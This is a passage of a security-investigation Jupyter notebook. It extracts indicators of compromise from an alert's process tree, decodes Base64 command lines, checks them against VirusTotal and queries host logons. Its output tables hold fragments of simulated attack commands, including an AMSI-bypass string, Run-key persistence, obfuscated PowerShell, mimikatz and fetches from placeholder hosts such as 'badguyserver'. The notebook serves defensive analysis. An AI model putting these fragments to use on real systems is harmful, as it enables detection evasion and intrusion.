" ], "text/plain": [ " IoCType \\\n", "0 windows_path \n", "1 windows_path \n", "2 windows_path \n", "3 windows_path \n", "4 windows_path \n", "5 windows_path \n", "6 windows_path \n", "7 windows_path \n", "8 windows_path \n", "9 windows_path \n", "10 windows_path \n", "11 dns \n", "12 dns \n", "13 dns \n", "14 windows_path \n", "15 windows_path \n", "16 windows_path \n", "17 windows_path \n", "18 windows_path \n", "19 windows_path \n", "20 windows_path \n", "21 windows_path \n", "22 windows_path \n", "23 windows_path \n", "24 windows_path \n", "25 windows_path \n", "26 windows_path \n", "27 windows_path \n", "28 windows_path \n", "29 windows_path \n", "30 windows_path \n", "31 windows_path \n", "32 windows_path \n", "33 windows_path \n", "34 windows_path \n", "35 windows_path \n", "36 dns \n", "37 windows_path \n", "38 windows_path \n", "39 windows_path \n", "40 windows_path \n", "41 windows_path \n", "42 url \n", "43 dns \n", "44 windows_path \n", "45 windows_path \n", "46 windows_path \n", "47 windows_path \n", "48 windows_path \n", "49 url \n", "50 dns \n", "51 windows_path \n", "52 windows_path \n", "53 windows_path \n", "54 windows_path \n", "55 windows_path \n", "56 md5_hash \n", "57 md5_hash \n", "58 md5_hash \n", "59 url \n", "60 dns \n", "61 url \n", "62 dns \n", "63 windows_path \n", "64 windows_path \n", "65 windows_path \n", "66 windows_path \n", "67 windows_path \n", "68 windows_path \n", "69 windows_path \n", "70 windows_path \n", "71 windows_path \n", "72 windows_path \n", "73 windows_path \n", "74 windows_path \n", "75 windows_path \n", "76 windows_path \n", "77 windows_path \n", "78 windows_path \n", "79 windows_path \n", "80 windows_path \n", "81 windows_path \n", "82 windows_path \n", "83 windows_path \n", "84 windows_path \n", "85 windows_path \n", "86 windows_path \n", "87 windows_path \n", "88 dns \n", "89 dns \n", "90 url \n", "91 windows_path \n", "92 ipv4 \n", "93 windows_path \n", "94 windows_path \n", "95 windows_path \n", "96 windows_path \n", "97 windows_path \n", "98 windows_path \n", "99 windows_path \n", "100 windows_path \n", "101 windows_path \n", "102 windows_path \n", "103 windows_path \n", "104 windows_path \n", "105 windows_path \n", "106 windows_path \n", "107 windows_path \n", "108 ipv4 \n", "109 url \n", "110 windows_path \n", "111 windows_path \n", "112 windows_path \n", "113 windows_path \n", "114 windows_path \n", "115 windows_path \n", "116 windows_path \n", "117 windows_path \n", "118 windows_path \n", "119 windows_path \n", "120 windows_path \n", "121 windows_path \n", "122 windows_path \n", "123 windows_path \n", "124 windows_path \n", "125 windows_path \n", "126 windows_path \n", "127 windows_path \n", "\n", " Observable \\\n", "0 C:\\RECYCLER\\xxppyy.exe \n", "1 .\\ftp \n", "2 .\\reg \n", "3 .\\rundll32 \n", "4 c:\\users\\MSTICAdmin\\12345.exe \n", "5 .\\rundll32 \n", "6 .\\rundll32 \n", "7 .\\rundll32 \n", "8 c:\\users\\MSTICAdmin\\1234.exe \n", "9 .\\rundll32 \n", "10 .\\reg.exe add \\hkcu\\software\\microsoft\\some\\key\\Run \n", "11 tsetup.1.exe \n", "12 tsetup.1.0.14.tmp \n", "13 tsetup.1.0.14.exe \n", "14 c:\\Diagnostics\\UserTmp\\tsetup.1.exe \n", "15 C:\\Users\\MSTICAdmin\\AppData\\Local\\Temp\\2\\is-01DD7.tmp\\tsetup.1.0.14.tmp \n", "16 C:\\Users\\MSTICAdmin\\Downloads\\tsetup.1.0.14.exe \n", "17 .\\rundll32.exe \n", "18 .\\netsh.exe \n", "19 C:\\inetpub\\wwwroot \n", "20 .\\cmd \n", "21 C:\\inetpub\\wwwroot \n", "22 .\\cmd \n", "23 C:\\inetpub\\wwwroot \n", "24 .\\cmd \n", "25 \\\\[REDACTED]\\c$\\users\\[REDACTED]\\Documents \n", "26 .\\cmd \n", "27 C:\\ProgramData \n", "28 c:\\windows\\system32\\inetsrv\\appcmd \n", "29 C:\\inetpub\\wwwroot \n", "30 .\\cmd \n", "31 C:\\inetpub\\logs\\logFiles\\W3SVC1 \n", "32 C:\\inetpub\\wwwroot \n", "33 .\\cmd \n", "34 c:\\Diagnostics\\UserTmp\\perfc.dat \n", "35 c:\\Diagnostics\\UserTmp\\sdopfjiowtbkjfnbeioruj.exe \n", "36 doubleextension.pdf.exe \n", "37 c:\\Diagnostics\\UserTmp\\doubleextension.pdf.exe \n", "38 \\C: \n", "39 \\Windows\\system32\\conhost.exe \n", "40 c:\\testshare \n", "41 \\\\MSTICAlertsWin1\\TestShare \n", "42 http://server/file.sct \n", "43 server \n", "44 .\\regsvr32 \n", "45 .\\suchost.exe \n", "46 .\\evil.ps1; \n", "47 .\\powershell.exe \n", "48 .\\powershell \n", "49 http://somedomain/best-kitten-names-1.jpg' \n", "50 somedomain \n", "51 \\AppData\\Local\\Temp\\kittens1.jpg'; \n", "52 C:\\Users\\$env:UserName \n", "53 .\\pOWErS^H^ElL^.eX^e^ \n", "54 .\\n^e^t \n", "55 .\\powershell \n", "56 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa \n", "57 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa \n", "58 81ed03caf6901e444c72ac67d192fb9c \n", "59 http://badguyserver/pwnme\" \n", "60 badguyserver \n", "61 http://badguyserver/pwnme\" \n", "62 badguyserver \n", "63 .\\powershell \n", "64 .\\powershell \n", "65 .\\powershell \n", "66 .\\powershell \n", "67 .\\rUnDlL32 \n", "68 .\\reg query add mscfile\\\\\\\\open \n", "69 .\\reg \n", "70 .\\dubrute.exe \n", "71 .\\nlbrute.exe \n", "72 .\\reg \n", "73 \\system\\CurrentControlSet\\Control\\Terminal \n", "74 .\\reg \n", "75 \\system\\CurrentControlSet\\Control\\Terminal \n", "76 \\\\tsclient\\c \n", "77 \\Microsoft\\Windows\\CurrentVersion Certificate).Certificate);.\\powershell \n", "78 .\\powershell.exe \n", "79 C:\\Windows\\System32\\mshta.exe \n", "80 c:\\users\\Bob\\appdata\\Roaming\\RbtGskQ\\RbtGskQ.exe \n", "81 .\\netsh \n", "82 .\\reg add HKLM\\KEY_LOCAL_MACHINE\\...securityproviders\\wdigest \n", "83 c:\\Windows\\System32\\cmd.exe \n", "84 c:\\Diagnostics\\UserTmp\\scrsave.scr \n", "85 c:\\Diagnostics\\UserTmp\\svchost.exe \n", "86 c:\\Diagnostics\\UserTmp\\smss.exe \n", "87 c:\\Windows\\System32\\svchost.exe \n", "88 system.management.automation.amsiutils \n", "89 system.management.automation.amsiutils').getfield('amsiinitfailed','nonpublic,static').setvalue(... \n", "90 http://system.management.automation.amsiutils').getfield('amsiinitfailed','nonpublic,static').se... \n", "91 .\\powershell.exe \n", "92 1.2.3.4 \n", "93 C:\\\\Users\\\\user\\\\AppData\\\\Local\\\\Temp\\\\bzzzzzz.txt \n", "94 .\\wuauclt.exe \n", "95 c:\\windows\\softwaredistribution\\cscript.exe \n", "96 c:\\windows\\softwaredistribution\\cscript.exe \n", "97 .\\lsass.exe \n", "98 c:\\windows\\system32\\wscript.exe \n", "99 c:\\windows\\system32\\inetsrv\\appcmd \n", "100 C:\\inetpub\\wwwroot \n", "101 c:\\Diagnostics\\UserTmp\\2840.exe \n", "102 c:\\Diagnostics\\UserTmp\\a_keygen.exe \n", "103 c:\\Diagnostics\\UserTmp\\bittorrent.exe \n", "104 c:\\Diagnostics\\UserTmp\\netsh.exe \n", "105 c:\\Diagnostics\\UserTmp\\ransomware.exe \n", "106 \\\\server\\payload.dll \n", "107 C:\\Users\\Administrator\\AppData\\Roaming\\{RANDOM}.txt \n", "108 127.0.0.1 \n", "109 http://127.0.0.1/ \n", "110 .\\reg \n", "111 \\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Svchost\\MyNastySvcHostConfig \n", "112 .\\reg \n", "113 \\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Svchost\\MyNastySvcHostConfig \n", "114 C:\\Users\\MSTICA~1\\AppData\\Local\\Temp\\hd.exe \n", "115 \\\\.\\pipe\\blahtest \n", "116 .\\reg.exe \n", "117 \\console \n", "118 c:\\windows\\fonts\\csrss.exe \n", "119 c:\\windows\\fonts\\conhost.exe \n", "120 .\\mimikatz.exe \n", "121 .\\rundll32.exe \n", "122 c:\\windows\\fonts\\conhost.exe \n", "123 c:\\windows\\fonts\\csrss.exe \n", "124 .\\regsvr32 \n", "125 c:\\Diagnostics\\UserTmp \n", "126 c:\\Diagnostics\\WindowsSimulateDetections.bat \n", "127 C:\\Windows\\System32\\win32calc.exe \n", "\n", " SourceIndex \n", "0 0 \n", "1 0 \n", "2 1 \n", "3 3 \n", "4 4 \n", "5 4 \n", "6 5 \n", "7 6 \n", "8 6 \n", "9 7 \n", "10 8 \n", "11 9 \n", "12 9 \n", "13 9 \n", "14 9 \n", "15 9 \n", "16 9 \n", "17 10 \n", "18 11 \n", "19 12 \n", "20 12 \n", "21 13 \n", "22 13 \n", "23 14 \n", "24 14 \n", "25 15 \n", "26 15 \n", "27 15 \n", "28 16 \n", "29 16 \n", "30 16 \n", "31 17 \n", "32 17 \n", "33 17 \n", "34 18 \n", "35 19 \n", "36 20 \n", "37 20 \n", "38 22 \n", "39 22 \n", "40 26 \n", "41 27 \n", "42 31 \n", "43 31 \n", "44 31 \n", "45 32 \n", "46 35 \n", "47 35 \n", "48 36 \n", "49 37 \n", "50 37 \n", "51 37 \n", "52 37 \n", "53 37 \n", "54 38 \n", "55 39 \n", "56 40 \n", "57 41 \n", "58 44 \n", "59 46 \n", "60 46 \n", "61 47 \n", "62 47 \n", "63 47 \n", "64 48 \n", "65 49 \n", "66 50 \n", "67 58 \n", "68 59 \n", "69 60 \n", "70 61 \n", "71 62 \n", "72 63 \n", "73 63 \n", "74 64 \n", "75 64 \n", "76 65 \n", "77 67 \n", "78 67 \n", "79 67 \n", "80 68 \n", "81 68 \n", "82 69 \n", "83 70 \n", "84 71 \n", "85 72 \n", "86 73 \n", "87 74 \n", "88 77 \n", "89 77 \n", "90 77 \n", "91 77 \n", "92 78 \n", "93 78 \n", "94 79 \n", "95 79 \n", "96 80 \n", "97 80 \n", "98 82 \n", "99 83 \n", "100 83 \n", "101 84 \n", "102 85 \n", "103 87 \n", "104 88 \n", "105 90 \n", "106 92 \n", "107 94 \n", "108 102 \n", "109 102 \n", "110 103 \n", "111 103 \n", "112 104 \n", "113 104 \n", "114 105 \n", "115 107 \n", "116 108 \n", "117 108 \n", "118 109 \n", "119 110 \n", "120 111 \n", "121 112 \n", "122 112 \n", "123 113 \n", "124 113 \n", "125 115 \n", "126 115 \n", "127 116 " ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "ioc_extractor = sectools.IoCExtract()\n", "ioc_df = ioc_extractor.extract(data=process_tree, columns=['CommandLine'], os_family=security_alert.os_family)\n", "if len(ioc_df):\n", " display(HTML(\"

IoC patterns found in process tree.

\"))\n", " display(ioc_df)" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "### If any Base64 encoded strings, decode and search for IoCs in the results.\n", "For simple strings the Base64 decoded output is straightforward. However for nested encodings this can get a little complex and difficult to represent in a tabular format.\n", "\n", "**Columns**\n", " - reference - The index of the row item in dotted notation in depth.seq pairs (e.g. 1.2.2.3 would be the 3 item at depth 3 that is a child of the 2nd item found at depth 1). This may not always be an accurate notation - it is mainly use to allow you to associate an individual row with the reference value contained in the full_decoded_string column of the topmost item).\n", " - original_string - the original string before decoding.\n", " - file_name - filename, if any (only if this is an item in zip or tar file).\n", " - file_type - a guess at the file type (this is currently elementary and only includes a few file types).\n", " - input_bytes - the decoded bytes as a Python bytes string.\n", " - decoded_string - the decoded string if it can be decoded as a UTF-8 or UTF-16 string. Note: binary sequences may often successfully decode as UTF-16 strings but, in these cases, the decodings are meaningless.\n", " - encoding_type - encoding type (UTF-8 or UTF-16) if a decoding was possible, otherwise 'binary'.\n", " - file_hashes - collection of file hashes for any decoded item.\n", " - md5 - md5 hash as a separate column.\n", " - sha1 - sha1 hash as a separate column.\n", " - sha256 - sha256 hash as a separate column.\n", " - printable_bytes - printable version of input_bytes as a string of \\xNN values\n", " - src_index - the index of the row in the input dataframe from which the data came.\n", " - full_decoded_string - the full decoded string with any decoded replacements. This is only really useful for top-level items, since nested items will only show the 'full' string representing the child fragment." ] }, { "cell_type": "code", "execution_count": 50, "metadata": {}, "outputs": [ { "data": { "text/html": [ "

Decoded base 64 command lines

" ], "text/plain": [ "" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "text/html": [ "Warning - some binary patterns may be decodable as unicode strings" ], "text/plain": [ "" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "text/html": [ "
\n", "\n", "\n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", "
full_decoded_stringoriginal_stringdecoded_stringinput_bytesfile_hashes
0.\\powershell -enc <decoded type='string' name='[None]' index='1' depth='1'>$\u0000t\u0000 \u0000=\u0000 \u0000'\u0000d\u0000i\u0000r\u0000'\u0000...JAB0ACAAPQAgACcAZABpAHIAJwA7AA0ACgAmACAAKAAnAEkAbgB2AG8AawBlACcAKwAnAC0ARQB4AHAAcgBlAHMAcwBpAG8A...$\u0000t\u0000 \u0000=\u0000 \u0000'\u0000d\u0000i\u0000r\u0000'\u0000;\u0000\\r\u0000\\n\u0000&\u0000 \u0000(\u0000'\u0000I\u0000n\u0000v\u0000o\u0000k\u0000e\u0000'\u0000+\u0000'\u0000-\u0000E\u0000x\u0000p\u0000r\u0000e\u0000s\u0000s\u0000i\u0000o\u0000n\u0000'\u0000)\u0000 \u0000$\u0000t\u0000b\"$\\x00t\\x00 \\x00=\\x00 \\x00'\\x00d\\x00i\\x00r\\x00'\\x00;\\x00\\r\\x00\\n\\x00&\\x00 \\x00(\\x00'\\x00I\\x00n\\...{'md5': '6cd1486db221e532cc2011c9beeb4ffc', 'sha1': '6e485467d7e06502046b7c84a8ef067cfe1512ad', ...
1cmd /c \"echo # <decoded type='string' name='[None]' index='1' depth='1'>ꙩ榚骦ꙩ榚骦ꙩ榚骦ꙩ榚骦</decoded> ...aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaꙩ榚骦ꙩ榚骦ꙩ榚骦ꙩ榚骦b'i\\xa6\\x9ai\\xa6\\x9ai\\xa6\\x9ai\\xa6\\x9ai\\xa6\\x9ai\\xa6\\x9ai\\xa6\\x9ai\\xa6\\x9a'{'md5': '9a45b2520e930dc9186f6d93a7798a13', 'sha1': 'f526c90fa0744e3a63d84421ff25e3f5a3d697cb', ...
2cmd /c \"echo # <decoded type='string' name='[None]' index='1' depth='1'>ꙩ榚骦ꙩ榚骦ꙩ榚骦ꙩ榚骦</decoded> ...aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaꙩ榚骦ꙩ榚骦ꙩ榚骦ꙩ榚骦b'i\\xa6\\x9ai\\xa6\\x9ai\\xa6\\x9ai\\xa6\\x9ai\\xa6\\x9ai\\xa6\\x9ai\\xa6\\x9ai\\xa6\\x9a'{'md5': '9a45b2520e930dc9186f6d93a7798a13', 'sha1': 'f526c90fa0744e3a63d84421ff25e3f5a3d697cb', ...
3implant.exe <decoded type='string' name='[None]' index='1' depth='1'>埳펝᩷꽿해㣮컡槶믎彷絶岿</decoded>81ed03caf6901e444c72ac67d192fb9c埳펝᩷꽿해㣮컡槶믎彷絶岿b'\\xf3W\\x9d\\xd3w\\x1a\\x7f\\xaft\\xd5\\xee8\\xe1\\xce\\xf6i\\xce\\xbbw_v}\\xbf\\\\'{'md5': '1c8cc6299bd654bbcd85710968d6a87c', 'sha1': '55377391141f59a2ff5ae4765d9f0b4438adfd73', ...
\n", "
" ], "text/plain": [ " full_decoded_string \\\n", "0 .\\powershell -enc $\u0000t\u0000 \u0000=\u0000 \u0000'\u0000d\u0000i\u0000r\u0000'\u0000... \n", "1 cmd /c \"echo # ꙩ榚骦ꙩ榚骦ꙩ榚骦ꙩ榚骦 ... \n", "2 cmd /c \"echo # ꙩ榚骦ꙩ榚骦ꙩ榚骦ꙩ榚骦 ... \n", "3 implant.exe 埳펝᩷꽿해㣮컡槶믎彷絶岿 \n", "\n", " original_string \\\n", "0 JAB0ACAAPQAgACcAZABpAHIAJwA7AA0ACgAmACAAKAAnAEkAbgB2AG8AawBlACcAKwAnAC0ARQB4AHAAcgBlAHMAcwBpAG8A... \n", "1 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa \n", "2 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa \n", "3 81ed03caf6901e444c72ac67d192fb9c \n", "\n", " decoded_string \\\n", "0 $\u0000t\u0000 \u0000=\u0000 \u0000'\u0000d\u0000i\u0000r\u0000'\u0000;\u0000\\r\u0000\\n\u0000&\u0000 \u0000(\u0000'\u0000I\u0000n\u0000v\u0000o\u0000k\u0000e\u0000'\u0000+\u0000'\u0000-\u0000E\u0000x\u0000p\u0000r\u0000e\u0000s\u0000s\u0000i\u0000o\u0000n\u0000'\u0000)\u0000 \u0000$\u0000t\u0000 \n", "1 ꙩ榚骦ꙩ榚骦ꙩ榚骦ꙩ榚骦 \n", "2 ꙩ榚骦ꙩ榚骦ꙩ榚骦ꙩ榚骦 \n", "3 埳펝᩷꽿해㣮컡槶믎彷絶岿 \n", "\n", " input_bytes \\\n", "0 b\"$\\x00t\\x00 \\x00=\\x00 \\x00'\\x00d\\x00i\\x00r\\x00'\\x00;\\x00\\r\\x00\\n\\x00&\\x00 \\x00(\\x00'\\x00I\\x00n\\... \n", "1 b'i\\xa6\\x9ai\\xa6\\x9ai\\xa6\\x9ai\\xa6\\x9ai\\xa6\\x9ai\\xa6\\x9ai\\xa6\\x9ai\\xa6\\x9a' \n", "2 b'i\\xa6\\x9ai\\xa6\\x9ai\\xa6\\x9ai\\xa6\\x9ai\\xa6\\x9ai\\xa6\\x9ai\\xa6\\x9ai\\xa6\\x9a' \n", "3 b'\\xf3W\\x9d\\xd3w\\x1a\\x7f\\xaft\\xd5\\xee8\\xe1\\xce\\xf6i\\xce\\xbbw_v}\\xbf\\\\' \n", "\n", " file_hashes \n", "0 {'md5': '6cd1486db221e532cc2011c9beeb4ffc', 'sha1': '6e485467d7e06502046b7c84a8ef067cfe1512ad', ... \n", "1 {'md5': '9a45b2520e930dc9186f6d93a7798a13', 'sha1': 'f526c90fa0744e3a63d84421ff25e3f5a3d697cb', ... \n", "2 {'md5': '9a45b2520e930dc9186f6d93a7798a13', 'sha1': 'f526c90fa0744e3a63d84421ff25e3f5a3d697cb', ... \n", "3 {'md5': '1c8cc6299bd654bbcd85710968d6a87c', 'sha1': '55377391141f59a2ff5ae4765d9f0b4438adfd73', ... " ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "text/html": [ "

IoC patterns found in base 64 decoded data

" ], "text/plain": [ "" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "text/html": [ "
\n", "\n", "\n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", "
IoCTypeObservableSourceIndex
0windows_path.\\powershell0
\n", "
" ], "text/plain": [ " IoCType Observable SourceIndex\n", "0 windows_path .\\powershell 0" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "dec_df = sectools.b64.unpack_items(data=process_tree, column='CommandLine')\n", "if len(dec_df) > 0:\n", " display(HTML(\"

Decoded base 64 command lines

\"))\n", " display(HTML(\"Warning - some binary patterns may be decodable as unicode strings\"))\n", " display(dec_df[['full_decoded_string', 'original_string', 'decoded_string', 'input_bytes', 'file_hashes']])\n", "\n", " ioc_dec_df = ioc_extractor.extract(data=dec_df, columns=['full_decoded_string'])\n", " if len(ioc_dec_df):\n", " display(HTML(\"

IoC patterns found in base 64 decoded data

\"))\n", " display(ioc_dec_df)\n", " ioc_df = ioc_df.append(ioc_dec_df ,ignore_index=True)\n", "else:\n", " print(\"No base64 encodings found.\")" ] }, { "cell_type": "markdown", "metadata": { "hidden": true }, "source": [ "[Contents](#toc)\n", "## Virus Total Lookup\n", "This section uses the popular Virus Total service to check any recovered IoCs against VTs database.\n", "\n", "To use this you need an API key from virus total, which you can obtain here: https://www.virustotal.com/.\n", "\n", "Note that VT throttles requests for free API keys to 4/minute. If you are unable to process the entire data set, try splitting it and submitting smaller chunks.\n", "\n", "**Things to note:**\n", "- Virus Total lookups include file hashes, domains, IP addresses and URLs.\n", "- The returned data is slightly different depending on the input type\n", "- The VTLookup class tries to screen input data to prevent pointless lookups. E.g.:\n", " - Only public IP Addresses will be submitted (no loopback, private address space, etc.)\n", " - URLs with only local (unqualified) host parts will not be submitted.\n", " - Domain names that are unqualified will not be submitted.\n", " - Hash-like strings (e.g 'AAAAAAAAAAAAAAAAAA') that do not appear to have enough entropy to be a hash will not be submitted.\n", "\n", "**Output Columns**\n", " - Observable - The IoC observable submitted\n", " - IoCType - the IoC type\n", " - Status - the status of the submission request\n", " - ResponseCode - the VT response code\n", " - RawResponse - the entire raw json response\n", " - Resource - VT Resource\n", " - SourceIndex - The index of the Observable in the source DataFrame. You can use this to rejoin to your original data.\n", " - VerboseMsg - VT Verbose Message\n", " - ScanId - VT Scan ID if any\n", " - Permalink - VT Permanent URL describing the resource\n", " - Positives - If this is not zero, it indicates the number of malicious reports that VT holds for this observable.\n", " - MD5 - The MD5 hash, if any\n", " - SHA1 - The MD5 hash, if any\n", " - SHA256 - The MD5 hash, if any\n", " - ResolvedDomains - In the case of IP Addresses, this contains a list of all domains that resolve to this IP address\n", " - ResolvedIPs - In the case Domains, this contains a list of all IP addresses resolved from the domain.\n", " - DetectedUrls - Any malicious URLs associated with the observable." ] }, { "cell_type": "code", "execution_count": 51, "metadata": {}, "outputs": [ { "data": { "application/vnd.jupyter.widget-view+json": { "model_id": "15643a6645cc46128362535587b62135", "version_major": 2, "version_minor": 0 }, "text/plain": [ "HTML(value='To obtain an API key sign up here https://www.virustotal.com/')" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "application/vnd.jupyter.widget-view+json": { "model_id": "0f4521f054a049659e67b84fba2e160a", "version_major": 2, "version_minor": 0 }, "text/plain": [ "HBox(children=(Text(value='', description='Virus Total API key:', layout=Layout(width='50%'), style=Descriptio…" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "vt_key = asi.GetEnvironmentKey(env_var='VT_API_KEY',\n", " help_str='To obtain an API key sign up here https://www.virustotal.com/',\n", " prompt='Virus Total API key:')\n", "vt_key.display()" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "scrolled": false }, "outputs": [], "source": [ "if vt_key.value:\n", " vt_lookup = sectools.VTLookup(vt_key.value, verbosity=2)\n", "\n", " print(f'{len(ioc_df)} items in input frame')\n", " supported_counts = {}\n", " for ioc_type in vt_lookup.supported_ioc_types:\n", " supported_counts[ioc_type] = len(ioc_df[ioc_df['IoCType'] == ioc_type])\n", " print('Items in each category to be submitted to VirusTotal')\n", " print('(Note: items have pre-filtering to remove obvious erroneous '\n", " 'data and false positives, such as private IPaddresses)')\n", " print(supported_counts)\n", " print('-' * 80)\n", " vt_results = vt_lookup.lookup_iocs(data=ioc_df, type_col='IoCType', src_col='Observable')\n", " display(vt_results)" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "[Contents](#toc)\n", "# Alert command line - Occurrence on other hosts in workspace\n", "To get a sense of whether the alert process is something that is occuring on other hosts, run this section.\n", "\n", "This might tell you that the alerted process is actually a commonly-run process and the alert is a false positive. Alternatively, it may tell you that a real infection or attack is happening on other hosts in your environment." ] }, { "cell_type": "code", "execution_count": 52, "metadata": { "scrolled": true }, "outputs": [ { "data": { "application/vnd.jupyter.widget-view+json": { "model_id": "73d7e26bfbb745878c0e11f392cc5c7e", "version_major": 2, "version_minor": 0 }, "text/plain": [ "HTML(value='

Set query time boundaries

')" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "application/vnd.jupyter.widget-view+json": { "model_id": "4ec392d7772f4b6e86f8a57d5d63c9bc", "version_major": 2, "version_minor": 0 }, "text/plain": [ "HBox(children=(DatePicker(value=datetime.date(2019, 1, 15), description='Origin Date'), Text(value='05:15:20',…" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "application/vnd.jupyter.widget-view+json": { "model_id": "66647be67b7f4ff4b872d930857417fe", "version_major": 2, "version_minor": 0 }, "text/plain": [ "VBox(children=(IntRangeSlider(value=(-5, 1), description='Time Range (day):', layout=Layout(width='80%'), max=…" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "# set the origin time to the time of our alert\n", "query_times = asi.QueryTime(units='day', before=5, max_before=20,\n", " after=1, max_after=10,\n", " origin_time=security_alert.origin_time)\n", "query_times.display()" ] }, { "cell_type": "code", "execution_count": 53, "metadata": { "scrolled": false }, "outputs": [ { "data": { "text/plain": [ "['list_alerts_counts',\n", " 'list_alerts',\n", " 'get_alert',\n", " 'list_related_alerts',\n", " 'list_related_ip_alerts',\n", " 'get_process_tree',\n", " 'list_processes',\n", " 'get_process_parent',\n", " 'list_hosts_matching_commandline',\n", " 'list_processes_in_session',\n", " 'get_host_logon',\n", " 'list_host_logons',\n", " 'list_host_logon_failures']" ] }, "execution_count": 53, "metadata": {}, "output_type": "execute_result" } ], "source": [ "# API ILLUSTRATION - Find the query to use\n", "qry.list_queries()" ] }, { "cell_type": "code", "execution_count": 54, "metadata": { "scrolled": true }, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "Query: list_hosts_matching_commandline\n", "Retrieves processes on other hosts with matching commandline\n", "Designed to be executed with data_source: process_create\n", "Supported data families: DataFamily.WindowsSecurity, DataFamily.LinuxSecurity\n", "Supported data environments: DataEnvironment.LogAnalytics\n", "Query parameters:\n", "['end', 'process_name', 'host_filter_neq', 'subscription_filter', 'add_query_items', 'start', 'commandline']\n", "Optional parameters:\n", "add_query_items\n", "Query:\n", "{table}\n", "{query_project}\n", "| where {subscription_filter}\n", "| where {host_filter_neq}\n", "| where TimeGenerated >= datetime({start})\n", "| where TimeGenerated <= datetime({end})\n", "| where NewProcessName endswith '{process_name}'\n", "| where CommandLine =~ '{commandline}'\n", "{add_query_items}\n" ] } ], "source": [ "# API ILLUSTRATION - What does the query look like?\n", "qry.query_help('list_hosts_matching_commandline')" ] }, { "cell_type": "code", "execution_count": 56, "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "No proceses with matching commandline found in on other hosts in workspace\n", "between 2019-01-10 05:15:20 and 2019-01-16 05:15:20\n" ] } ], "source": [ "# This query needs a commandline parameter which isn't supplied\n", "# by default from the the alert \n", "# - so extract and escape this from the process\n", "commandline = security_alert.primary_process.CommandLine\n", "commandline = asi.utility.escape_windows_path(commandline)\n", "#commandline = commandline.replace('\\'', '\\\\\\'')\n", "proc_match_in_ws = qry.list_hosts_matching_commandline(provs=[query_times, security_alert],\n", " commandline=commandline)\n", "\n", "# Check the results\n", "if proc_match_in_ws is None or len(proc_match_in_ws) == 0:\n", " print('No proceses with matching commandline found in on other hosts in workspace')\n", " print('between', query_times.start, 'and', query_times.end)\n", "else:\n", " hosts = proc_match_in_ws['Computer'].drop_duplicates().shape[0]\n", " processes = proc_match_in_ws.shape[0]\n", " print('{numprocesses} proceses with matching commandline found on {numhosts} hosts in workspace'\\\n", " .format(numprocesses=processes, numhosts=hosts))\n", " print('between', query_times.start, 'and', query_times.end)\n", " print('To examine these execute the dataframe \\'{}\\' in a new cell'.format('proc_match_in_ws'))\n", " print(proc_match_in_ws[['TimeCreatedUtc','Computer', 'NewProcessName', 'CommandLine']].head())\n", " " ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "[Contents](#toc)\n", "# Host Logons\n", "This section retrieves the logon events on the host in the alert.\n", "\n", "You may want to use the query times to search over a broader range than the default." ] }, { "cell_type": "code", "execution_count": 57, "metadata": { "scrolled": true }, "outputs": [ { "data": { "application/vnd.jupyter.widget-view+json": { "model_id": "711bcb7b23714a30a3da3a00c86b1b0b", "version_major": 2, "version_minor": 0 }, "text/plain": [ "HTML(value='

Set query time boundaries

')" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "application/vnd.jupyter.widget-view+json": { "model_id": "f4c3b9ff9d5b4775a6189cd2cf441586", "version_major": 2, "version_minor": 0 }, "text/plain": [ "HBox(children=(DatePicker(value=datetime.date(2019, 1, 15), description='Origin Date'), Text(value='05:15:20',…" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "application/vnd.jupyter.widget-view+json": { "model_id": "53bf85a1f8224150b96ed7662c655996", "version_major": 2, "version_minor": 0 }, "text/plain": [ "VBox(children=(IntRangeSlider(value=(-5, 0), description='Time Range (day):', layout=Layout(width='80%'), max=…" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "# set the origin time to the time of our alert\n", "query_times = asi.QueryTime(units='day', origin_time=security_alert.origin_time,\n", " before=5, after=0, max_before=20, max_after=1)\n", "query_times.display()" ] }, { "cell_type": "markdown", "metadata": { "hidden": true, "tags": [ "todo" ] }, "source": [ "[Contents](#toc)\n", "## Alert Logon Account\n", "The logon associated with the process in the alert." ] }, { "cell_type": "code", "execution_count": 58, "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "### Account Logon\n", "Account: MSTICAdmin\n", "Account Domain: MSTICAlertsWin1\n", "Logon Time: 2019-01-15 05:15:02.980000\n", "Logon type: 4 (Batch)\n", "User Id/SID: S-1-5-21-996632719-2361334927-4038480536-500\n", " SID S-1-5-21-996632719-2361334927-4038480536-500 is administrator\n", " SID S-1-5-21-996632719-2361334927-4038480536-500 is local machine or domain account\n", "Session id '0xfaac27' \n", "Subject (source) account: 